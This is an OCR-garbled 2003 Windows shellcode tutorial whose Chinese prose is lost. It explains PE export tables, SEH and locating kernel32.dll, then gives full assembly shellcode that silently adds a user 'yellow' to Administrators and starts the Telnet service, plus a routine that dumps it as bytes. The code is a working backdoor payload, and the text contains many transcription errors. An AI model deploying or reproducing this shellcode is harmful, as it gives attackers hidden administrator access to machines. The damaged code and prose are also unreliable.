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ShellCode ,
? <Windows 2000 > ,

ShelCode ,

(by , ShellCode ,
ShellCode Window
ShellCode PE PE , , PE .

, Kernel32 ,
[ ] , ShellCode.
& Format : ShellCode
Stnn/g , C Asm , C/Asm
() '
[ ]
ELF
- 1,PE , PE
1) 1.1 PE
1.2
1.3 DLL
GetFunctionByName
2, Kernel32.DLL
2.1 TEB
2.2 Kernel32.DLL
GetKernel32
3, ( ShellCode)
3.1 Telnet ShellCode:
2 GetFunctionByName LoadLibraryA

GetProcAddress ,




5,
,PE
1,PE
PE(Portable Executable, ), Win32
( .EXE , .DLL/.VXD/.SYS/.VDM )
PE ( )

| 5,Section 1 |
| 6,Section 2 |
| Section ... |
| n,Sectionn |
Win32 , Dos Win32 ,
"This program cannot be run in DOS mode.", ,
Win32 ? ,
) c :

#include <stdio.h>
void main(void)

printf("This program cannot be run in DOS mode.\n");

" Win32 ?", (linker)
16 DOS , 16 (DOS/Windows 3.x) Win32
" DOS
DOS MZ header , Winnt.h

typedef struct _IMAGE_DOS_HEADER {//DOS .EXE header
WORD e_magic; //0x00 Magic number

WORD e_cblp; //0x02 Bytes on last page of file

WORD e_cp; //0x04 Pages in file

WORD e_crlc; //0x06 Relocations

WORD e_cparhdr; //0x08 Size of header in paragraphs
WORD e_minalloc; //0x0a Minimum extra paragraphs needed
WORD e_maxalloc; //0x0c Maximum extra paragraphs needed
WORD e_ss; //0x0e Initial (relative) SS value

WORD e_sp; //0x10 Initial SP value

WORD e_csum; //0x12 Checksum

WORD e_ip; //0x14 Initial IP value

WORD e_cs; //0x16 Initial (relative) CS value

WORD e_lfarlc; //0x18 File address of relocation table
WORD e_ovno; //0x1a Overlay number

WORD e_res[4]; //0x1c Reserved words

WORD e_oemid; //0x24 OEM identifier (for e_oeminfo)
WORD e_oeminfo; //0x26 OEM information; e_oemid specific
WORD e_res2[10]; //0x28 Reserved words

LONG e_Ifanew; //0x3c File address of new exe header

} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;



DOS MZ header 16 DOS 1P( ),cs(

), ,checksum( ) , DOS
? File address of new exe header
" exe , !
e_lfanew , PE header, . DOS Mz
header
DOS stub linker 16 DOS ,
"This program cannot be run in DOS mode.". PE header , PE
.exe ? , stub
( : "The Currnet OS is not Win32,1 want to run
in Win32 Mode.", stub ), PE
header
, e_lfanew, PE header, ?
llinker . PE header, Win32
PELoader
e_lfanew PE header, PE header
,PE
" "(Section), , ,
( : v )
PE ShellCode ,
<Windows 95 > Iczelion
PE ,
2,
PE header ( Winnt.h ) DataDirectory ,
PE = ' +0x3c(e_lfanew)
PE = +PE
(IMAGE_EXPORT_DIRECTORY*)=PE +0x78<=---DataDirectory
(char**)= +0x20
(DWORD **)= +0x1c

typedef struct _Image_Data_Directory{

DWORD VirtualAddress;

DWORD isize;
}MAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

16 , VirtualAddress ,
IMAGE_EXPORT_DIRECTORY , :

typedef struct _IMAGE_EXPORT_DIRECTORY {

DWORD Characteristics;//0x00

DWORD TimeDateStamp;//0x04

WORD MajorVersion;//0x08

WORD MinorVersion;//0x0a

DWORD Name;//0x0c

DWORD Base;//0x10

DWORD NumberOfFunctions;//0x14

DWORD NumberOfNames;//0x18

DWORD AddressOfFunctions;//0x1c RVA from base of image
DWORD AddressOfNames;//0x20 RVA from base of image
DWORD AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

AddressOfFunctions , DWORD

+
Call .AddressOfNames ,



+ .Name

, , kernel32 IMAGE_EXPORT_DIRECTORY

"KERNEL32.dlI".
3,
PE ShellCode , ,
Windows API GetProcAddress ,
GetFunctionByName PE
KERNEL32.DLL ,
Windows API. 0x77e60000

//IGetFunctionByName.c

I :DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
1 :
/I ImageBase:
/I FuncName:

/I flen:

1

I , 0.

i ShellCode __inline , ShellCode
i , .h

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)

{
unsigned int FunNameArray,PE,Count=0,*IED;

__asm
{

mov eax,ImageBase

add eax,0x3c// PE e_Ifanew

mov eax,[eax]// e_lfanew

add eax,ImageBase// PE header

cmp [eax],0x00004550

jne NotFound// ImageBase

mov PE,eax

mov eax,[eax+0x78]

add eax,ImageBase

mov [IED],eax// IMAGE_EXPORT_DIRECTORY

/Imov eax,[eax+0x0c]

/ladd eax,ImageBase// , KERNEL32.DLL
"KERNEL32.dII"

/Imov eax,[IED]

mov eax,[eax+0x20]

add eax,ImageBase

mov FunNameArray,eax//

mov ecx,[IED]

mov ecx,[ecx+0x14])// NumberOfFunctions

FindLoop:

push ecx// ,

mov eax,[eax]

add eax,ImageBase

mov esi,FuncName

mov edi,eax

mov ecx,flen// , , ecx

cld



rep cmpsb

jne FindNext//

add esp,4// , Ecx,
mov eax,[IED]

mov eax,[eax+0x1c]

add eax,ImageBase//

shl Count,2// = +(
add eax,Count

mov eax,[eax]//

add eax,ImageBase// , Eax

jmp Found

FindNext:

inc Count//

add [FunNameAtrray],4//

mov eax,FunNameArray

pop ecx// ecx(NumberOfFunctions),

loop FindLoop// ecx 0 FindLoop,
NotFound:xor eax,eax// , 0

Found:

}

}
/*

*4)

, GetFunctionByName kernel32.dll LoadLibraryA
, user32.dll, GetFunctionByName MessageBoxA

*/
int main(void)

char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
/10x77e60000 kernel32.dll ,

asm

{

lea eax,user32

push eax

call dword ptr loadlibfun // LoadLibrary('user32");
lea ebx,msgf

push Ox0b//"MessageBoxA"

push ebx

push eax

call GetFunctionByName

mov ebx,eax

add esp,0x0c//GetFunctionByName C ,

push O

lea eax,title

push eax

push eax

push 0

call ebx// MessageBox(NULL,"test","test",MB_OK)
}

return 1;

}

mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
mov eax,[ImageBase+eax+0x??] ,

MessageBox "test” ?

? 0x77e60000 kernel32.dll

) 1

kernel32.dll

, Kernel32.DLL



1, (SEH,Structred Exception Handling)
SEH , )
.0k, VC, " ,

#include <stdio.h>
#include <conio.h>
int main(void)

int X,y,Z:y:x:O;
printf("Input two integer number:");
scanf("%d %d",&x,&Yy);

z=xly;
printf("%d DIV %d = %d",x,y,2);
getch();
return O;
}
, : 42, "4 DIV 2=2", . 40,
Visual Studio :
"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",
"0 ! z=xly :

#include <stdio.h>
#include <conio.h>
int main(void)

int X,y,z=y=x=0;

printf("Input two integer number:");
scanf("%d %d",&x,&y);

if(ly)

printf("Can not Divide by Zero!");
goto LQUIT;

}

z=xly;

printf("%d DIV %d = %d",x,y,2);
LQUIT:

getch();

return O;

}

#include <stdio.h>
#include <conio.h>
#include <windows.h>

int main(void)

int X,y,z=y=x=0;

printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);

__try

{

z=xly;

__except(EXCEPTION_EXECUTE_HANDLER)

{n :
switch(GetExceptionCode())

{

case EXCEPTION_INT_DIVIDE_BY_ ZERO:// 0

{
printf("Can not Divide by Zero!");
goto LQUIT;

}
case EXCEPTION_ACCESS_VIOLATION://



break;

}
/ldo other......

default:
break;

}

}

printf("%d DIV %d = %d\n",x,y,z);
LQUIT:

getch();

return O;

}
, , "Disassembly",
push offset __except_handler3 (00401330)
mov eax,fs:[00000000]
push eax
mov dword ptr fs:[0],esp
SEH , __except({}

EXCEPTION_REGISTRATION_RECORD,fs:[0] ,
OXFHfff.
typedef struct EXCEPTION_REGISTRATION_RECORD
struct _EXCEPTION_REGISTRATION_RECORD * pNext; //

FARPROC pfnHandler;//
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

" fs:[0] ", ,  Windows 95
, TEB(Thread Environment
Block)
Windows 9x TIB(Thread Information Block), TEB fs
0

TEB
typedef struct _TIB

{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record
list<=---

PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack

union // 0Ch (NT/Win95 differences)
{
struct // Win95 fields

{

WORD pvTDB; // 0Ch TDB

WORD pvThunkSS; // OEh SS selector used for thunking to 16 bits
DWORD unknownl; // 10h

} WINO5;

struct // WIinNT fields

{

PVOID SubSystemTib; // 0Ch
ULONG FiberData; // 10h

} WINNT;

} TIB_UNIONZ;

PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure

union // 1Ch (NT/Win95 differences)
{



struct // Win95 fields

{

WORD TIBFlags; // 1Ch

WORD Win16MutexCount; // 1Eh

DWORD DebugContext; // 20h

DWORD pCurrentPriority; // 24h

DWORD pvQueue; // 28h Message Queue selector
} WIN95;

struct // WIinNT fields

{
DWORD unknownl; // 1Ch
DWORD processID; // 20h <=---

DWORD unknown2; // 28h

} WINNT;

} TIB_UNIONZ;

PVOID* pvTLSArray; // 2Ch Thread Local Storage array
union // 30h (NT/Win95 differences)

{

struct // Win95 fields

PVOID* pProcess; // 30h Pointer to owning Process Database

} WINO5;
} TIB_UNIONS;
} TIB, *PTIB;
?TEB pvExcept Head of exception record list,
TEB 0x00 , TEB fs 0x00 , fs 0x00
?processIiD ID ,threadID
ID , Windows API
/IMyAPI.c

#include <stdio.h>
#include <conio.h>
#include <windows.h>

__inline __declspec(naked)DWORD GetCurrentProcessld2(void)
{

asm

mov eax,fs:[0x20]// TEB processIiD , eax
ret

}

}

__inline __declspec(naked)DWORD GetCurrentThreadld2(void)
{

asm

{

mov eax,fs:[0x24]// TEB threadID , eax
ret

}

}
I

void main(void)

printf("MY PID=%d\tAPI PID=%d\n",GetCurrentProcessld2(),GetCurrentProcessld());
printf("MY TID=%d\tAP| TID=%d\n",GetCurrentThreadld2(),GetCurrentThreadld());
getch();

}

MY PID:.].448 API PID=1448
MY TID=1204 API TID=1204



MY PID API PID,MY TID

) )

! , kernel32.dll ? ;
!
2, kernel32.dll
, fs:[O] )
"0
( "Can not Divide by Zero!"), " )
, kernel32

UnhandledExceptionFilter
) pfnHandler(
EXCEPTION_REGISTRATION_RECORD)

, pNext [Oliiiii#
? kernel32.dll ,
? !
/*
:unsigned int GetKernel32(void);
Kernel32.dll
: PE UnhandledExceptionFilter ,
__inline
ShellCode , __declspec(naked) "
Asm
*/

#include <stdio.h>
#include <conio.h>

__inline __declspec(naked) unsigned int GetKernel32()

{

asm

{

push esi

push ecx

mov esi,fs:0

lodsd

GetExeceptionFilter:

cmp [eax],Oxffffffff

je GetedExeceptionFilter// ( pfnHandler
UnhandledExceptionFilter)

mov eax,[eax]// ,

jmp GetExeceptionFilter

GetedExeceptionFilter:

mov eax, [eax+4]

FindMZ:

and eax,0xffff0000// PE 64k

cmp word ptr [eax],'’ZM"// PE KERNEL32.DLL
jne MoveUp// Mz ,

mov ecx,[eax+0x3c]

add ecx,eax

cmp word ptr [ecx],'EP'// PE KERNEL32.DLL
je Found// MZ PE , , Eax
MoveUp:

dec eax//

jmp FindMz

Found:

pop ecx



pop esi
ret

}
}

void main(void)

{
printf("%0.8X\n",GetKernel32());

getch();

}

1, PE ’

2, KERNEL32.DLL
3,

ShellCode

Windows API(s)

ShellCode

, yellow,
Telnet

yellow,

ShellCode,

ShellCode

ShellCode

Administrators

///////;/////////////////////////////////’//////////////////////////////////////////////////////

#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
1 APl DLL
#define APISTART 0

#define GETPROCADDRESS(APISTART+0)

#define LOADLIBRARY (APISTART+1)
#define EXITPROCESS(APISTART+2)

#define WINEXEC(APISTART+3)

#define KNLSTART(EXITPROCESS)

#define KNLEND(WINEXEC)
#define NKNLAPI(4)

#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)

#define BIND(WSOCKSTART+1)

#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)

#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)

#define WSOCKEND(WSACLEANUP)

#define NWSOCKAPI(10)
/idefine NETAPI,RPCAPI......

#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+....... */)

#define DLLSTART O

#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)

#define DLLEND (WS2_32DLL)
#define NDLLS2

#define COMMAND_START 0

#define COMMAND_ADDUSER (COMMAND_START+0)

#define COMMAND_SETUSERADMIN(COMMAND_START+1)

#define COMMAND_OPENTLNT (COMMAND_START+2)

#define COMMAND_END (COMMAND_OPENTLNT)

#define NCMD3
void ShellCodeFun(void)

{
DWORD ImageBase,lED,FunNameArray,PE,Count,flen,DLLS[NDLLS];

inti;

char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];

1



FARPROC API[NAPIS];
__asm
{/n, KERNEL32.DLL , LoadLibraryA
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],Oxffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:

and eax,0xffff0000

cmp word ptr [eax],'”ZM’
jne MoveUp

mov ecx,[eax+0x3c]

add ecx,eax

cmp word ptr [ecx],'EP'
je FoundKNL

MoveUp:

dec eax

jmp FindMz

FoundKNL:

pop ecx

pop esi

mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit'G’;

_emit'e’;

_emit't}

_emit'P";

_emit'r;

_emit'o’;

_emit'c

_emit'A’;

_emit'd’;

_emit'd’;

_emit'r

_emit'e’;

_emit's";

_emit's’;

_emit 0x00
LGETPROCADDRESS:
pop eax

mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d

mov Count,0

call FindApi

mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit'L";

_emit'o’;

_emit'a’;

_emit'd’;

_emit'L";

_emit'i;

_emit'b’;

_emit'r;

_emit'a’;

_emit'r;

_emit'y";

_emit'A’;

_emit 0x00
LOADLIBRARYA:

pop eax

mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax

GetProcAddress



mov flen,0x0b

mov Count,0

call FindApi

mov API[LOADLIBRARY * type FARPROC],eax
}

asm

{

112, DLL ,
call KERNEL32

_emit 'k';

_emit'e’;

_emit'r;

_emit'n’;

_emit'e’;

_emit'l’;

_emit '3

_emit'2";

_emit".

_emit'd'

_emit'l'

_emit'l'

_emit 0x00
KERNEL32:

pop DLLNAMES[KERNELDLL*4]
call WS2_32

_emit 'w'

_emit's’;

_emit'2";

_emit'_";

_emit'3;

_emit '2";

_emit"’

_emit'd'

_emit'l'

_emit'l'

_emit 0x00

WS2_32:

pop DLLNAMES[WS2_32DLL * 4]
113, API ,
call LEXITPROCESS//1
_emit'E";

_emit 'x’;

_emit'i;

_emit't]

_emit'P";

_emit'r

_emit'o’;

_emit'c’;

_emit'e’;

_emit's’;

_emit's’;

_emit 0x00
LEXITPROCESS:

pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit'W';

_emit'i;

_emit'n’;

_emit'E";

_emit 'x’;

_emit'e’;

_emit'c

_emit 0x00
LWINEXEC:

pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit's’;

_emit'o’;

_emit'ch

_emit 'k';

_emit'e’;

_emit't]



_emit 0x00

LSOCKET:

pop APINAMES[SOCKET * 4]
call LBIND//4

_emit'b’;

_emit'i;

_emit'n’;

_emit'd’;

_emit 0x00

LBIND:

pop APINAMESIBIND * 4]
call LCONNECT
_emit'c

_emit'o’;

_emit'n’;

_emit'n’;

_emit'e’;

_emit'c

_emit 't

_emit 0x00

LCONNECT:

pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit'a’;

_emit'c

_emit'c

_emit'e’;

_emit'p’;

_emit't]

_emit 0x00

LACCEPT:

pop APINAMEScall LLISTEN//6
_emit'l;

_emit'i;

_emit's';

_emit 't

_emit'e’;

_emit'n’;

_emit 0x00

LLISTEN:

pop APINAMESI|LISTEN * 4]
call LSEND//7

_emit's';

_emit'e’;

_emit'n’;

_emit 'd’;

_emit 0x00

LSEND:

pop APINAMES[SEND * 4]
call LRECV//8

_emit'r;

_emit'e’;

_emit'c

_emit'v';

_emit 0x00

LRECV:

pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit'ch

_emit'l;

_emit'o’;

_emit's';

_emit'e’;

_emit's’;

_emit'o’;

_emit'c’;

_emit 'k';

_emit'e’;

_emit't]

_emit 0x00
CLOSESOCKETL:

pop APINAMES[CLOSESOCKET * 4]



call WSASTARTUPL//10

_emit'W';

_emit'S";

_emit'A’;

_emit'S";

_emit't]

_emit'a’;

_emit'r;

_emit't]

_emit'u’;

_emit'p’;

_emit 0x00

WSASTARTUPL:

pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11

_emit'W';

_emit'S";

_emit'A’;

_emit'C’

_emit'l’;

_emit'e’;

_emit'a’;

_emit'n’;

_emit'u’;

_emit'p’;

_emit 0x00

WSACLEANUPL:

pop APINAMES[WSACLEANUP * 4]
/Inop; DLLNAMES APINAMES

1

}
113, DLL
for(i=DLLSTART;i<=DLLEND:;i++)

{
DLLS[i]=API[LOADLIBRARY](DLLNAMESIi]);

}

114, API

114.1 Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)

{
API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMESIi]);

}
114.2 Windows Sockets API
for(i=WSOCKSTART,;i<=WSOCKEND:;i++)

{
API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMESIi]);

115, ShellCode
__asm

{

call PUTCOMMAND_ADDUSER
_emit'n’
_emit'e’
_emit't’
_emit"’
_emit'u’
_emit's'
_emit'e’
_emit'r
_emit"’
_emit'y'
_emit'e’
_emit'l'
_emit'l'
_emit'o’
_emit'w'
_emit"’
_emit'y'
_emit'e’
_emit'l'
_emit'l'



_emit'o’
_emit'w'
_emit"’
_emit'/
_emit'a’
_emit'd'
_emit'd’
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit'n’
_emit'e’
_emit't’
_emit"’
_emit'l'
_emit'o’
_emit'c'
_emit'a’
_emit'l
_emit'g’
_emit'r
_emit'o’
_emit'u’
_emit'p'
_emit"’
_emit'A’
_emit'd’
_emit'm’
_emit'i’
_emit'n’
_emit'i’
_emit's'
_emit't’
_emit'r'
_emit'a’
_emit't'
_emit'o’
_emit'r
_emit's'
_emit"’
_emit'y'
_emit'e’
_emit'l'
_emit'l
_emit'o’
_emit'w'
_emit"’
_emit'/
_emit'a’
_emit'd'
_emit'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit'n’
_emit'e’
_emit't’
_emit"’
_emit's'
_emit't’
_emit'a’
_emit'r'
_emit't'
_emit"’
_emit't’
_emit'l'
_emit'n’
_emit't’
_emit's'
_emit'v'



_emit'r

_emit 0x00
PUTCOMMAND_OPENTLNT:

pop CMD[COMMAND_OPENTLNT* 4]

/l_asmint 3// Release

116, , Administrators,
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMDIi],SW_HIDE);

/*
KERNEL APl WINSOCK API,
( WinSock Telnet ).
*/
API[EXITPROCESS](0);// ExitProcess ShellCode
__asm
{
/*
FindApi, GetFunctionByName
ImageBase:DLL
FuncName:
flen: ,
Count: , 0.
Eax , 0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c// PE e_Ifanew

mov eax,[eax]// e_lfanew

add eax,ImageBase// PE header

cmp [eax],0x00004550

jne NotFound// ImageBase

mov PE,eax

mov eax,[eax+0x78]

add eax,ImageBase// IMAGE_EXPORT_DIRECTORY
mov [IED],eax

mov eax,[eax+0x20]

add eax,ImageBase

mov FunNameArray,eax//

mov ecx,[IED]

mov ecx,[ecx+0x14]// NumberOfFunctions
FindLoop:

push ecx// ,

mov eax,[eax]

add eax,ImageBase

mov esi,FuncName

mov edi,eax

mov ecx,flen// , , ecx

cld

rep cmpshb

jne FindNext//

add esp,4// , Ecx,
mov eax,[IED]

mov eax,[eax+0x1c]

add eax,ImageBase//

shl Count,2// = +(
add eax,Count

mov eax,[eax]//

add eax,ImageBase// , Eax

jmp Found

FindNext:

inc Count//

add [FunNameArray],4//

mov eax,FunNameArray

pop ecx// ecx(NumberOfFunctions),
loop FindLoop// ecx 0 FindLoop,
NotFound:

xor eax,eax// , 0

Telnet

*4)



Found:

ret
/IShellCode
_emit ™
_emit "™

}
}
void AboutMe(void)

printf("\t+++++++++++++++++ AN,
printf("\t+ ShellCode Demo! +\n");

printf("\t+ Code by yellow +\n");

printf("\t+ Date:2003-12-21 +\n");

printf("\t+ Email:yellow@safechina.net +\n");

printf("\t+ Home Page:www.safechina.net +\n");
printf("\t+++++++++++++++++++++HHHH N,

}
void printsc(unsigned char *sc)

int x=0;
printf("unsigned char shellcode[]={");
while(1)

{

if (*sc=="*")&&(*(sc+1)=="")) break;
if(!(x++%10)) printf("\n\t");
printf("0x%0.2X,",*sc++);

}
printf("\n};\nTotal %d Bytes\r\n",x+1);
}

int main(void)

unsigned char *p=ShellCodeFun;
unsigned int k=0;

if(*p==0xe9)

{

=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;

}
printsc(p);
AboutMe();
getch();

}
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ShellCode , ShellCode xor

Ok! , ! " ,
",ShellCode
) ShellCode
!

ShellCode , ShellCode

PE ‘KERNEL32 , ,
,yellow

4, .
<MSDN>

<Windows >

<Windows 95 >
<Win32Asm Programming>
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ShellCode, ,PE ,KERNEL32.DLL

,overflow,
By yellow from www.safechina.net
2003 12 21
The End.
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